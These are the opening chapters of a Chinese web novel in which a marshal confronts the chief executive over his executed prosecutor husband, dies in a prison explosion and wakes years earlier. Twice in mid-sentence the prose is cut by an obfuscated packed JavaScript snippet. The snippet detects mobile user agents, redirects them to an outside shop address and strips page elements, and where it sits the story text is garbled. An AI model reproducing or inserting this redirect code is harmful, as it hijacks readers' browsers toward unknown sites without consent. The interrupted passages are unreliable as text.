《失忆后被死对头骗婚了》 1. 劫狱 1. “坐标RA 20h,Dec -78°,距首都星3000光年外,‘赫拉’恒星将于今晚九点整发生爆炸。这将是近万年来发生的最大的一次……” 联邦监狱的主控中心内,值班员艾德伦撑着脑袋,百无聊赖地听着例行播报,昏昏欲睡。 突然,一旁的通讯器发出“滴滴”震响,他脑袋向下狠狠一砸,睡意顿时散得一干二净。 艾德伦看到通讯器上的名字,心中咯噔一下,在惊恐中下意识点开了接通。 “艾德伦!你到底在做什么?我在监控里看见你竟然睡着了?你疯了吗,你知不知道执政官和元帅已经在监狱大门口了?!” “您等等,”艾德伦打开光脑,飞速地查找记录,“执政官和元帅不是下个月才来吗,怎么忽然就到了?” “你问我?”对面冷笑一声,说,“根本没人通知!我正好在监控室,你最好把你那些不规范的东西藏一藏,他们要过前面那扇门了!” “您不能……” 话音未落,一阵脚步声便朝眼前的机械门逼近。艾德伦只得挂断电话,手忙脚乱地操控起主控台,关掉了几个违规后台。 随着门禁锁的识别声,执政官特助带着笑意的声线也随着开门而传了过来:“两位请进,这边就是忒弥斯监狱的主控中心。” 银色质调的大门缓慢打开,在监狱冷得发白的灯光下,一道颀长的身影率先走了出来。 锃亮的军靴敲击在地上,不重不轻的一下,却好像自带压迫感,让人心脏都随之一沉。 年轻的元帅摘了军帽,金色麦穗缠绕的腰带间别着枪支,笔挺的军装显出他无比优越挺拔的身形轮廓。他漫不经心地拿着帽子,胸口口袋挂着的银色徽章几乎亮到刺眼。那双深绿色的眼眸从黑发里抬起一点来,在沉重的黑里,露出深邃无比、冷淡压迫的眉眼。 这就是不久前刚从敌星“卡莫涅尔”,大战告捷回来的联盟元帅,闻泊彻。 他回来时整个星网轰动,执政官亲自带领高层迎接他,为他准备了一场声势浩大的庆功宴。 艾德伦手心爬满了冷汗,“蹭”地一下站了起来。 他甚至没敢看清身后执政官和助理的脸,只是对上那双绿眼,就感到一阵精神力的威压,全身不由绷直。 闻泊彻停下脚步,眼眸淡淡朝接待台扫视一圈。执政官从他身后走出,笑着朝身旁的助理说:“我也没有常来忒弥斯,还不算熟悉这边监狱的构造。” 那也是一张过分年轻的脸,看上去只比身旁的“联盟之星”大上五六岁。 比起闻泊彻,执政官奥利西斯要更沉稳低调得多。他一身剪裁合身的灰色常服,略长的金发微卷着落在耳侧,正笑着和身边的两人交谈。 艾德伦吞了口口水,赶忙站上前迎接几位大人物,说:“执政官先生、闻元帅,我是主控中心的值班员。需要我带几位进去吗?” “不用了,谢谢你。”奥利西斯和善地笑着说,“我的助理时常到忒弥斯。我想,他应该很了解这里。” 这话毫不夸张。忒弥斯作为联邦最大的监狱,设置在首都星,内外层层重兵把守,关押的却不是有多穷凶极恶的杀人犯,而全都是□□。 反对奥利西斯执政的一派,常常以忒弥斯监狱作为阴谋论的起始点。他们攻击他将自己所有敌对的对手,全都悄无声息地送进了忒弥斯监狱。 艾德伦第一次亲眼见到执政官本人,只觉得他意外好说话,笑起来也很平易近人:“好的……” “况且,”奥利西斯朝前抬了抬手,指节处的翡翠扳指露出来。他侧头去看闻泊彻,笑着说:“我们此行,是来取前检察官在监狱里留下的遗物的。监狱这边有好好保管,对吗?” 艾德伦闻言,刚止住的冷汗又要留下来了。 一个月前,联盟首席检察官季临韫被判通敌罪,在忒弥斯被处刑。而好死不死,这位检察官,刚和元帅闻泊彻成婚不到半年。 外界一直传言两人关系不合,从少年时期就是针锋相对的宿敌,后来在各种公开场合更是水火不容,结婚只是在执政官命令下的政治联姻。 但不论是哪种性质的婚姻,成婚不久另一半就闹出这样的丑闻,想来也不会让当事人心情愉快。 季临韫去世的那天,闻泊彻甚至还没有从敌星回来,执政官倒是早早到场了。 这位检察官几乎没有留下任何东西,除了一枚别在衣领的祖母绿宝石胸针,剩下的就是在监狱内穿过的衣服,和偶尔使用的钢笔。 执政官来的时候,把那枚带血的胸针拿走了,随后轻飘飘地看了一眼剩下的东西,说:“都烧了吧。” 艾德伦看着奥利西斯此刻温和的笑容,腿肚都在打颤。 他心想,当时是执政官下令烧的东西,甚至监狱长还把那个装着东西的小盒子交给了他。 是他一把大火烧干净的,现在哪里还有什么遗物! “没有留存下来吗?”奥利西斯停顿几秒,碧色的眼眸里流露出疑惑,“你们没有认真保管前检察官的东西吗。” “我……”艾德伦抬头,瞥见不远处闻泊彻越发阴沉的冷色,只说,“我不知道,执政官先生……” “肯定是收起来了,对吗?”奥利西斯眼眸微微眯起,说,“毕竟监狱有义务保管好犯人的遗物,在闻元帅离开之前,你们应该能交还于他。” “现在,请带我们去前检察官以前的房间看看吧。”他笑容优雅,遗憾地说道,“毕竟闻元帅对他前妻用情至深,虽然他曾犯下了不可饶恕的错误。但前检察官已经去世了,再多谈也无益。” 艾德伦手脚冰凉,有些僵硬地站起身为他们带路。 “砰砰砰——!” 几人刚走两步,监狱内忽然发出一阵玻璃爆裂的巨大声响,碎片哐哐砸落一地。闻泊彻瞬间回头,一排排白炽灯光却随即全灭,视野立即陷入了一片黑暗。 刺耳的警报声随即响起:“警告!警告!受到不明系统攻击,电子锁已全面自动开放,主控台无法运作——报错程序受到阻碍,警告——” 主控台陷入瘫痪的一瞬间,围在外侧戒备的士兵一瞬间便涌了进来,脚步声响彻着整个房间。他们无法打开任何照明设备,一切需要充能的电子设备在此刻都彻底失灵。 地磁风暴干扰下,整个夜晚更是笼罩在深黑之下,几乎透不进一丝光。 “执政官先生?您还好吗?” 而奥利西斯也在这一瞬间,感觉到一把冰冷的枪,正抵在他的头顶。 实际上,他整个人都在灯光熄灭的一刹那,被身后年轻的元帅制住了。闻泊彻的膝盖抵着他的背,强迫性极强的力量彻底压住手脚,狠狠下碾,他几乎只有脖颈可以自由活动。 “不要动。”闻泊彻低下头,配枪重重抵在这位执政官的脑袋上。他低声说,“你明白现在应该说什么,奥利西斯。” “我很好。”奥利西斯身形微微僵硬,却依旧得体地站着,对站在一片黑暗里的卫兵们高声说,“现在电子锁失灵,听到外面逃犯暴动的声音了吗?请各位优先抓捕犯人,这里有元帅保护我的安全。” “遵命!” 士兵队长闻言,留下一小队人保护他们的安全。剩下全都迅速离开,去处理因设施瘫痪而导致的监狱暴动。 奥利西斯头部被迫后仰,他觉察到勒着自己的手臂紧了紧,于是笑着对身旁的助理说:“艾尔,我需要和闻元帅商议一下这次监狱暴动的事情。” 助理立即明白,带着这一队士兵退到门口,说:“好的。有需要的话,您随时叫我的名字。” 脚步声停止,奥利西斯终于在枪下活动了一下脖颈。冰冷而沉重的枪械使他感到不快,但他依旧礼貌地询问。 “泊彻,你要造反吗?” “我好像警告过你,不要乱动,奥利西斯。”闻泊彻向下按住他的颈肩,骨头错位的“咔哒”顿时响起。他冷淡地说:“你以为我不会开枪吗?” 奥利西斯只感觉手臂一阵剧痛。他喘了几口气,冷汗痛得淌下来,却笑着说:“开枪了,你怎么拿走季临韫的东西。我这里还有许多关于他的事情,你不想要听吗?” 闻泊彻的动作明显停滞一瞬。 季临韫。 他已经太久没有从别人的口中,再听到季临韫的名字了。好像一旦“临韫”两个字落入耳朵里,心脏就要剧烈地发起颤痛,血液要烧起来,滚烫到叫他永远剧痛不止。 “你敢提他的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114141|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就是在找死。”闻泊彻加重了手上的力道,整个人明显紧绷起来,“你怎么敢,你怎么敢杀了他?” “只不过是前妻罢了,有那么喜欢吗?”奥利西斯的颈椎被迫后压,沉重的压迫感和疼痛一起袭来。他却随意地说:“对了,你们的婚姻关系,还是我解除的。” 奥利西斯话音刚落,整个人便迅速被扭转过身,随后柔软的腹部被膝盖重重一击,一下被撂倒在了地上。 这样的姿势被后面挟持更加狼狈。他疼得喘气,下意识弯下了腰,却还是笑着说:“杀了我临韫也活不过来。他不是我枪杀的,是生病去世的。” 闻泊彻的眸光终于动了动。在黑暗中,他看不清任何东西,只是手掌发力,用力将奥利西斯整个人拎了起来。 “你最好说实话,奥利西斯。”他再开口时,声音却有些干涩,“他生了什么病?” “临韫已经病入膏肓了。”奥利西斯说,“谁也救不了他,他只能死在监狱里。” 他整个人被闻泊彻制得死死的,目光下垂,落到黑暗中。 这样浓重的黑色,让奥利西斯想起了季临韫被关在牢房里的时候。 忒弥斯从来不是什么好地方,这里有一套完备的审讯系统,能让半死不活的人都吐出真话。这里的囚犯几乎没有几个活着出去,即使最终站到了奥利西斯的阵营,也被扒下了几层皮。 季临韫当时刚接受完问询,巨大的精神力冲击使他几乎支撑不住身体,整个人像是溺在了水中。 他一只脚踝带着镣铐,额发几乎已经湿透,汗珠混在睫毛里,使那一点黑色更加湿润深重。 季临韫的骨相带着东方独特的钝厉美感,加上一双深黑到极致的眼,在冰冷的水珠中几乎有种摄人心魄的冷意。他抬起一点下巴,脆弱而苍白的脖颈就这样暴露出来,淡青色的血管随着呼吸缓慢起伏。 奥利西斯走进去,听见锁链发出一声脆响。 “临韫。”他笑起来,朝他走近。 季临韫半坐在角落里,骨节分明的指节搭在膝盖上,半撑起一点身,削瘦漂亮的脊背贴在潮湿墙面上。 抬眸时,他眼里那点浓重的黑色露出来,在白炽灯过曝的牢房里,冷淡到无端让人心惊。 “怎么弄成了这样,临韫。”奥利西斯不喜欢他面无表情的样子,失望而惊讶地说,“他们怎么能对你用这样重的刑罚。” 他这样说着,眼睛里却带着依旧笑意。是的,他在助理和闻泊彻面前说谎了。季临韫在忒弥斯服刑时,他几乎隔三差五就要来一次,最熟悉的地方就是季临韫的牢房。 奥利西斯走过去,在季临韫面前缓慢蹲下身,伸手捏住了他的下巴。他觉察到季临韫的抗拒,几乎是强迫性地、用力将他的脸庞抬起。 他已经完全没有力气了。 奥利西斯好心提醒说:“临韫,你生病了,活不过下个月。你根本等不到闻泊彻回来,我想你应该清楚。” 季临韫抬着脸,鼻尖缓慢落下一滴水珠。他眼眸中的黑色很沉,就这样冷淡地、无动于衷地看着眼前的人。 “接受我的精神力吧,临韫。”奥利西斯温和地说,“我可以治好你的病,至少能让你活着看到闻泊彻回来。” 接受精神力,对于他们而言,是一件无比私密的事情。甚至只发生在最亲密的伴侣间,比做/爱都更加露骨放肆。 奥利西斯这句话放在联邦法庭,甚至都能被判性/骚扰。 季临韫闻言,眼皮终于轻轻颤了一下。他的下巴往前抬了抬,漆黑而锋利的眼眸缓慢凑近奥利西斯。 奥利西斯笑了。 他停下动作,饶有兴致地看过去,对上季临韫冷淡的眸光。他毒蛇一样的眼眸眯起来,几乎是鼓励着、引诱着看向季临韫。 但他还没来得及开口,就看见眼前的人抬了抬手,随即脸庞一阵劲风袭来。 “啪!” 随后,奥利西斯脸颊一痛,左脸硬生生被季临韫扇了一耳光。 那一巴掌好像用尽了季临韫浑身的力气。清脆的声音在牢房内响起,带着拷链的声声震响。他打得几乎手掌都在发颤,眼尾因为这点动作就红了一片。 季临韫看也没有看他一眼,只冷声说:“滚。” 2. 爆炸 2. “咔嗒。” 黑暗中,奥利西斯听到枪械轻微的扣动声响,随即后颈一沉,枪械重重抵在上面。冰冷的金属无时无刻不再提醒他,闻泊彻的耐心已经告罄了。 他对季临韫的病情避而不谈,漂亮的蓝眼珠转了转,后脑微微后倾,说:“关于临韫,我倒是有问题想要问你。” “奥利西斯。”闻泊彻低着头,眼眸中的冷色湮没在黑暗里。他话语中不再能辨喜怒,穿着黑色军靴的腿下压,缓慢踩在执政官的脊背上,“不要试图跟我玩你那套把戏,你应该知道,监狱外面已经被军队包围了。” “我知道,所以你才能这样肆无忌惮羞辱我啊。”奥利西斯狼狈地抬起头,轻佻地问,“季临韫扇过你巴掌吗?元帅。” 闻泊彻一时只以为自己听错了。他下意识皱起了眉,说:“什么?” “他扇了我一巴掌,”奥利西斯慢条斯理地说,“在监狱里的时候。” 实际上,在挨完那一巴掌后,他整个肩膀都在兴奋的发抖。 他几乎是即刻扣住了季临韫的脸,看着他被冷水浸没后通红的嘴唇,凑近了说:“好可怜。” 季临韫深黑的乌发垂下来,下颌被迫捏起,漂亮到昳丽的脸上苍白无比,只有嘴唇是红色的。他听到奥利西斯低声说:“临韫,你应该庆幸自己生病了。如果不是为了让你多活一段时间……” 那双碧蓝色的眼睛看着他,话语戛然而止。季临韫抬起头,膝盖忽然发力,抬脚上顶重重向前踹去,一把将奥利西斯撞得趔趄。他的身体太虚弱了,脸庞只是被捏住,已经留下了几道清晰的指印,现在连做出这样的动作都喘息不止。 季临韫略微痛苦地低下腰,冷冽的黑色眼眸却抬起来。他嘴唇微微扯动,露出一个嘲弄的笑:“接受你的精神力?那我还是死了比较好。” 奥利西斯对他根本生不起气。他低低地笑起来,五指略微按压住被踹伤的小腹,在疼痛中感到一阵无比的快意。 “他打了你?” 奥利西斯还沉浸在季临韫那双黑眸里,一双粗粝而有力的手掌却掐住了他的脖子,将他整个人向上提起,拉回到冰冷黑沉的现实中来。 闻泊彻已经不耐烦了,他眉眼压迫性地下垂,单手把奥利西斯的脖颈拎起来,冷声问:“你对季临韫做了什么?” “哦。”奥利西斯语气随意,笑着说,“我问他,要不要接受我的精神力。” 下一刻,他就感受到脖子上传来窒息的可怖力道,几乎让他再也吐不出一个字。他看不清闻泊彻的神情,整个人因为缺氧而不断咳嗽,笑意却愈发明显。 闻泊彻手背上青筋暴起,他松开指尖,一脚将人踹倒在地。金属靴子踏过地面的声音响起,他毫不留情地踩在了奥利西斯的脑袋上,几息之后勉强压下翻腾的怒意,才吐声说:“畜生。” “这就生气了?”奥利西斯知道他下了死手,自己现在胸腔和口鼻间全是血腥味。但他显然也不想让闻泊彻好过,用力伸手抓住闻泊彻的大衣,吐出了唇舌里的血,带着挑衅的笑意说:“要不要我告诉你,我还对你前妻做了什么其他事情?” 他声线逐渐微弱,却依旧带着明显的恶意:“要我和你慢慢讲述,临韫在我面前是怎么样哭的吗?他那么漂亮的眼睛,哽咽起来是什么样子,你私下已经想象过一万遍了吧?元帅。” “我好想和你说,可你敢听吗?” 闻泊彻气息剧烈起伏,眼眸中寒光乍现,掐着奥利西斯的手指几乎要收缩到极致! 还未等他进一步做出动作,一道强光却忽然从头顶倾洒而下。随后四面熄灭的电源忽然恢复供应,整个监狱内部顿时灯火通明。 奥利西斯几近窒息,甚至没来得及再挨上闻泊彻一脚,特助和小队就从门外跑进来:“报告执政官先生,量子波动已经暂时恢复平稳,系统供应……您!” 他看见主控中心内的场景,顿时一脚刹住,嘴唇不由张大。身后的小队也迅速反应过来,立马团团围住中心的两人,子弹上膛的金属声齐齐响起,黑漆漆的枪口对准了闻泊彻。 执政官奥利西斯,被联盟最年轻的元帅自上而下,一脚踩住了后脑,脖子刚被松开,就露出大面积的可怖青紫色掐痕。他的鼻腔大面积出血,蜿蜒的血迹留了满脸,金发下眼睫不断颤动着,一把枪直直扣在他的头顶。 而闻泊彻就这样半蹲着,压迫感极强的绿色眼眸朝下俯视。他脚底一用力,奥利西斯的脑袋就晃动两圈,在地上流出一条血痕。 这个场景其实无比的滑稽可怖,但没有人敢笑。 “闻元帅!” 特助终于失声说:“这是怎么回事?您先放开执政官!” “看不出来吗?”闻泊彻看了特助一眼,一手拿着枪,一手伸进奥利西斯外套胸口的口袋里,搜出了一枚胸针。他慢条斯理地回应对准自己的枪口,说:“我当然是要造反啊。” 祖母绿色的胸针,银色荆棘缠绕四周,烙刻着蔷薇纹样。 它的颜色,和闻泊彻的眼睛,一模一样。 季临韫已经死了,现在知道里面藏着什么东西的人,只有他们两个。 至此,奥利西斯碧蓝的眼眸终于缓慢转动。他在看见胸针的一瞬间伸手,却在下一刻右臂“咔嚓”后扭,刺心的疼痛传来,整只手随即软绵绵垂了下来! “闻长官!”特助看着奥利西斯脑袋下流出的血,颤声说,“您别开玩笑了。不管是怎么回事,您现在放开执政官。先跟我们回去接受调查,一切都还……” 他说不出话来,因为下一刻,闻泊彻就把奥利西斯整个人从地上拽起来了。他拿枪的手依旧很稳,军装下的腿颀长有力,朝前走一步,包围圈齐齐就往后退了一步。 仔细看留下来的这只小队,几个站在边缘的军官手都在发抖。他们被选中进入执政官的护卫队,原本都是联盟最优秀的军人,但看见凶名远扬的闻泊彻,依旧有一种对长官和S级精神力天性的服从。 闻泊彻作为联盟元帅,即使不说话,也不释放任何精神力的威压。那双眼睛只要抬起来,上位者的强势感与威压几乎就扑面而来。 没有人胆敢拦他。 监狱外面,现在已经被闻泊彻的军队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114142|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇压下来。他手里拿到了证据,再加上手上半死不活的奥利西斯,即使上到联盟法庭,最多也就被判一个暴力执法。 军靴踩在地板上,发出沉重的闷响。闻泊彻已经走到了门口,被拎着的奥利西斯却忽然从衣领下抬起了头。 血迹已经染红了他的金发,使得一向以和善闻名的执政官,此刻看起来也无端阴鸷诡异。他的声音已经嘶哑的不像话,被血打湿的眼睫毛睁动,笑了笑说:“泊彻,你为什么要把我移交给法庭呢?” “不是很想杀了我吗?为什么不开枪?” 闻泊彻停下脚步,面无表情地看着奥利西斯。他刚要开口,奥利西斯却忽然暴起,用大到诡异的力气凑到闻泊彻的枪口前,即刻对准自己的头按动扳机! “砰!” 在所有人都始料未及的情况下,奥利西斯开枪将自己击毙了。 几乎在片刻,一阵比枪响强烈千万倍的爆破声从不远处传来。随后整个监狱开始震动,脚下的地板崩裂坍塌。 众人来不及反应,玻璃窗和墙体就已在“哐啷”巨响中全部炸为齑粉,剧烈的火光伴随着震耳欲聋的爆炸声,顿时吞噬了主控室里的所有人! 爆炸发生得太快了,周围也没有掩体。闻泊彻避无可避,手臂传来清晰的灼烧痛,被剧烈的火浪掀倒在地。 他顿时想到,这里是忒弥斯,监狱里关押的全是奥利西斯的政敌。他就算是死了,也要设置与监狱同生共死的□□,让里面所有人带着秘密与他一同陪葬! 这个疯子! 在巨大的爆炸声过后,冲天的火舌卷席着主控室的残骸,周围横七竖八地躺着小队的尸体,火光几乎要将监狱的一切都燃烧殆尽。 闻泊彻被主控台爆炸时残余的碎片贯穿右胸,剧烈的疼痛伴随着滚热的鲜血流淌下来。他几乎眼前阵阵发黑,口腔里呕出一口血来,手里却还拿着那枚胸针。 他知道,在不久后,二次爆炸将会再次袭来。奥利西斯算计好了一切,没有人能活着从监狱里出去。 在生命的最后几刻,闻泊彻忍着剧痛,将那枚胸针上抬,用衣袖擦去上面浸染的鲜血,随后紧紧攥在手心里。 他整个人痛得几乎晕厥,呼吸间都是浓重血腥味,却还是想。 临韫生病了。临韫去世的时候,是不是也这样痛。 在看见季临韫留下的遗书时,闻泊彻就发了疯一样想去找他,想要立刻去见他。他心中几乎疼痛到将要窒息,可所有人都在身后恭喜他,恭喜他大战告捷,会得到至高无上的荣誉和嘉奖。但没有一个人悼念他死去的先生。 临韫、临韫。 他本来没有这么快。按照原先的安排,他还要等待联邦法庭的翻案,还要等待交待下属军队中的安排……但这一刻,闻泊彻清晰地意识到自己的生命在流逝,却觉得无比轻松和释然。 什么都不用再做了。他现在就要去见季临韫。 眼前彻底昏黑的前一刻,闻泊彻收紧手掌放置胸前,保护着那枚胸针。 随后第二次爆炸声响起,盛大的火光吞噬衣角,将监狱的一切都烧成灰烬。 3. 检察官 3. “砰——” 滚烫、痛颤、剧烈的震动与碎裂的齑粉,几乎要叫人再一次窒息! 闻泊彻猛然睁开眼,指节大力攥住身旁的黑色被单。他一瞬间在床上半坐起身,胸膛剧烈起伏着,冷汗已经打透了衣襟。 他呼吸着,胸膛上原本狰狞的贯穿伤竟然荡然无存,可肺部与身体依旧残留着爆炸时的剧痛。 闻泊彻抬起头,视线随着呼吸的平复,逐渐恢复清明。他抬手抹了把脸,将额前的湿腻的碎发随意撂上,在看清周围的陈设时微微一愣。 怎么回事? 这是他在首都星的独栋洋房,这处房产还是老爹在他在成年后买的。后面和季临韫结婚,他们一起在这边住了小半年的时间。 楼下还有他偷偷埋下的玫瑰种子,在征战的半年里,应该已经开了。 一个几乎不可能的念头,倏忽间冒了出来。 闻泊彻不动声色打量着周围,刚想下床,放置在床头的智能闹钟却铃声大作。 “叮铃——” 闻泊彻脊背瞬间绷紧,人工智能温和的声音却在下一刻响起来:“闻先生,这里是主控系统。根据您设置的日程安排,溯历692年10月6日,下午五点,您将要去接季临韫先生参加晚宴。” 闻泊彻心中一惊,皱起眉问:“你说现在是什么年份?” “溯历692年。现在是下午两点半,根据您习惯,已发出提醒。系统检测到您此时心率过快,是身体不适吗?” 溯历692年。 这是闻泊彻在荒星捡到季临韫,也是他们被执政官奥利西斯指婚联姻的一年。 这个时间,季临韫重伤后的记忆还没完全恢复。 而在十月之前,他一直都被闻泊彻秘密送在私人疗养院里接受治疗。是季家和执政官找得太厉害,终于在闻泊彻这里发现了破绽。 找寻季临韫的几方都没想到,他竟然会在闻泊彻手上。几家人顿时大惊失色,好像季临韫掉进了什么魔窟。 闻泊彻原本不打算把人交出去。 季临韫会被重伤抛在荒星,根本不是普通的事故。他一直在暗中调查,但季临韫的失忆,让这场隐蔽的谋杀查起来非常困难。 虽然他那时和季临韫的关系还并不算好,但也不会让他这样去送命。 季临韫失去了大部分记忆,却也知道,留在闻泊彻的身边只会让进展停滞。他想要查出真相,就必须要重新暴露在公众的视野里。 所以季临韫主动提出要回去时,闻泊彻没有拒绝的理由。 只是他根本没想到,季临韫被接走的第二天,竟然就回检察院上班了! 闻泊彻听到消息时在军部,气得不行。他辛辛苦苦养了几个月,才把季临韫养得稍微有气色些,竟然又要送回去给检察院那群老东西压榨! 副官卢林当时还笑呵呵地跟在他后面,一转头看见老大阴沉的脸色,吓了一跳:“哎哟老大,你怎么一幅跑了老婆的样子?” 闻泊彻伸手捂住了卢林的嘴,手劲大地几乎让人一个趔趄。他脸上扯出一个阴森的笑,恶狠狠地说:“闭嘴。” 但怎么会……会是在这时候? 闻泊彻在从床上醒来,看见自己身上愈合如初的胸膛时,已经逐渐有了猜想,只是太过荒谬了。现在明晃晃的时间摆在面前,他还是有些不可置信。 即使空间跃迁技术成熟,可以利用锚点进行跃迁,但时间的限制从未被打破过。闻泊彻不知道那天发生了什么事情,竟然让他回到了过去。 闻泊彻惊疑不定,剧烈喘息了几刻。但他一想到季临韫还活着的可能性,心脏就狂跳不止。 这时,智能系统就再次发出了提醒:“闻先生,按照您设置的,‘提前两小时接季临韫下班,顺便看看检察院那群人有没有虐待他’的日程,再不出发,您将有可能失去发现季先生被虐待的机会。” “闭嘴。”闻泊彻把思绪暂且放在一边,对人工智能发出冷嗖嗖的指令。他拿起一旁的黑色皮带,看了看身上被汗水浸湿的衣服,又放了回去。 他现在迫切地想要见到季临韫,但浑身汗津津的,狼狈又邋遢,怎么能这样去见他。 从前在联邦最高学府时,每次有季临韫参加的课,闻泊彻的穿着都非常得体。就连夏天刚刚在训练场上打完架,离上课还剩十五分钟,他都要回宿舍洗澡。 舍友们当时擦着脸上的汗,一边看闻泊彻的背影一边啧啧称奇,说:“泊彻明明是要去跟人打架,还整出了隔壁班那谁追院花的阵仗。” 闻泊彻对室友们的议论毫不知情,回去人模狗样的洗了澡,清爽整洁穿戴好才去上课。 这个习惯一直保留着,直到今天。 和室友或下属吃饭,他也许就这样不修边幅、擦一把头发就去了。但在季临韫面前这幅样子,简直难受得像要了他的命。 在行程表计划出发的前十分钟,闻泊彻裹着浴巾从浴室出来。他湿润的黑发尾不断淌下水珠,随着流畅的肌肉线条一路滚落。 闻泊彻随意地擦干头发,穿戴整齐后匆匆下楼。他开走了楼下花园那辆毫不低调的量子车,径直朝检察院的方向驶去。 闻泊彻来得早,季临韫还在附近的法院参与出庭,被检察院的工作人员提醒后,他直接调转了车头。 于是,首都星法院当天下午,就出现了这么一位不速之客。 法庭内,季临韫正在宣读起诉书,漆黑沉肃的眼眸一抬,余光就看见法庭最侧边的门打开了一角。 随后,台顶灯光投下来的影子,也随着来者的动作晃动一瞬。 闻泊彻优越颀长的腿一迈,就这样堂而皇之、从容地走进来,坐在了最后一排。 他还是一贯的随意姿态,但手臂下的肌肉却紧紧绷直。那张压迫性极强的脸庞一抬,露出眸里那点浓重的祖母绿,侵略性极强的视线投过来。 季临韫往台下一瞥,在触及闻泊彻眼神的瞬间微微停顿,随后依旧流畅自如地念着起诉书。 闻泊彻藏在后座的黑暗里,尽可能克制地朝台上看。 他安静而急促的注视着季临韫,眼眸中暗色剧烈涌动,喉结一起一滚。 他首先想。 临韫这时的头发长了一点,人却更削瘦一些。他病才刚好不久,气色还没有养起来。 诉辩区内,冷光尽数倾洒在了季临韫的身上,那套规整的制服向下收束腰线,很好地将他劲瘦的身形勾勒出来。 他漆黑的眼轻抬,长睫的影子在眼下晃动,透出冷然严肃、一丝不苟的神色,将眉眼间令人心惊的悸动感狠压下去。 闻泊彻坐在台下,诉讼的内容一个字不知道,只看见了检察官一张一合的、润红的唇。他放轻了呼吸,脑子里只剩下擂鼓般的心跳,和季临韫宣读起诉书时清冽的音色。 他没有想到,竟然可以再次见到季临韫。 在季临韫死后的一年,临韫这两个字,就成了每夜的渴求与梦魇。闻泊彻曾做梦都想再见季临韫一面,即使他无数次梦见季临韫在他前面死去,无数次梦见自己的无能为力。 但闻泊彻依旧自虐般地想念着他,即使每个梦到季临韫的夜晚,都痛苦地无以复加。 所以,在法庭之下,闻泊彻几乎是贪婪地,渴求又痛苦地,注视着季临韫的脸。 他的身体在兴奋与紧张中不断发颤,可大脑却一片空白,视野中只能容纳季临韫那一张脸,好像还处于不可置信的梦里。 “砰!” 可能是闻泊彻的视线太过灼热。季临韫终于忍无可忍,在放下文件的一刻加重力道,冷淡的视线朝下一扫。 他在间隙中与闻泊彻对上视线,却发现这人的目光毫不收敛,依旧直勾勾地凝视着自己,几乎慢慢从头看到了脚。 席间众人不由一抖,擦着冷汗想,这个案子实在太诡谲残忍了,惹得检察官发这么大火,犯人估计是凶多吉少了。 而闻泊彻坐在最后一排,什么都不做。他紧绷的肌肉慢慢放松了下来,就这样翘着腿、盯着季临韫的脸,直到结束。 * “临韫,你走慢点。” 案件审理结束后,季临韫整理好文件,快步往庭外走时,同事从身后追上来。这是他在检察院关系最近的朋友埃里克,之前也是同学。 埃里克笑着走在他身旁,看着季临韫平淡自如的脸色,才敢惊叹说:“临韫,你到底怎么惹上闻泊彻的?从学院你俩就这样。你刚刚没看见,我的老天,他怎么能用那种色眯眯的眼神看你?太放肆了,放在几个世纪前简直该判流氓罪啊!你们就算结婚,也一定要签婚前协议……” 季临韫听不下去了,刚想开口,前方却传来一阵带着笑意的男声。 “什么婚前协议?” 埃里克急急刹住脚,在转角处看见了闻泊彻似笑非笑的眼。 “我不是很懂联邦法律。”闻泊彻抬起腿,靴子在地上一敲一敲,逐步走近。他说着话,眼神却一直放在季临韫身上,像逐渐从黑暗中显露的某种大型兽类,“检察官,给我普普法?” 季临韫把手上的文件交给埃里克,说:“埃里克,麻烦你帮我放到办公室。我有些事情,晚上不回检察院了。” 埃里克应声走后,他才抬眸,漆黑的眼睛看着闻泊彻,说:“现在是四点半。距离我们约定的时间,还有半个小时,谁把你放进法庭的?” “没人拦着。”闻泊彻看着近在咫尺的季临韫,心脏跳得比在法庭里时还要快。他祖母绿色的眼里都是无辜:“我自己就这样走进去了,临韫。” “我很想你。”他近乎是克制地凑近,垂在衣角边的手凸显青筋,只说:“想早一点接你走。” “这句话,自己说出来信么?”季临韫随着他一同朝外走,冷淡地说,“晚宴准时开场。即使早到,也只能在前十分钟进场。” 闻泊彻闻言,抬头对上季临韫毫无波澜的神情,顿时像被浇了一兜冷水一般。他心中发颤,喉结滚动,走在季临韫的身侧,想。 他不记得了。 他回到了过去,但季临韫却没有未来的记忆。他不记得他们结过婚,不记得在别墅里给他留下的遗书,不记得失控时流露的情愫和眼神。 因为他们的过去,还尚未发生。 闻泊彻指节收紧,平复了几次呼吸,才想。 不论怎样,这些都没有季临韫活着重要。 走到量子车前,闻泊彻才从那阵强烈的、失而复得的余韵中微缓过神来,为季临韫拉开车门。 季临韫上了车,手指刚碰到安全带,却听见旁边的人叫他:“季临韫。” 他转过头,对上闻泊彻的绿色眼眸。 那一点从藏起来的、从克制中透出的极度渴望,几乎叫人发觉的一刹那就让人心惊。 季临韫 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“我……抱歉,”闻泊彻松开手,修长的指节突起。他装模作样地揉了揉太阳穴,气息不稳地喘着气,有些苦恼地说,“精神力刚刚忽然失常,冒犯到你了。” 他这样说着话,无辜的绿色眼睛又露出来,可怜地看向季临韫。 季临韫指节展开被揉皱的衬衫,后腰那片被手掌搂过的皮肤开始诡异的发烫。他带着愠色,有些惊疑不定地看着他,问:“你身体还好吗?” “嗯,现在稳定多了。”闻泊彻应着话,说,“没有弄疼你吧?” 